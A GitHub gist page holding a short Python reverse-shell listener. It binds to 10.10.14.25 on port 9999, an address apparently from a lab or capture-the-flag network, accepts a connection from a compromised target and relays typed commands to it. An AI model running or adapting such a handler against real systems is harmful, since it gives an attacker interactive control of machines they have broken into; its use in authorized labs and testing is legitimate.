Skip to content

Instantly share code, notes, and snippets.

@sathishshan
Created February 15, 2023 10:19
Show Gist options
  • Save sathishshan/9953ea407d4322d2d2a81b91fcbfb02d to your computer and use it in GitHub Desktop.
Save sathishshan/9953ea407d4322d2d2a81b91fcbfb02d to your computer and use it in GitHub Desktop.
import socket, sys, time
def listen(ip,port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((ip, port))
s.listen(1)
print("Listening on port " + str(port))
conn, addr = s.accept()
print('Connection received from ',addr)
while True:
#Receive data from the target and get user input
ans = conn.recv(1024).decode()
sys.stdout.write(ans)
command = input()
#Send command
command += "\n"
conn.send(command.encode())
time.sleep(1)
#Remove the output of the "input()" function
sys.stdout.write("\033[A" + ans.split("\n")[-1])
listen("10.10.14.25",9999)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment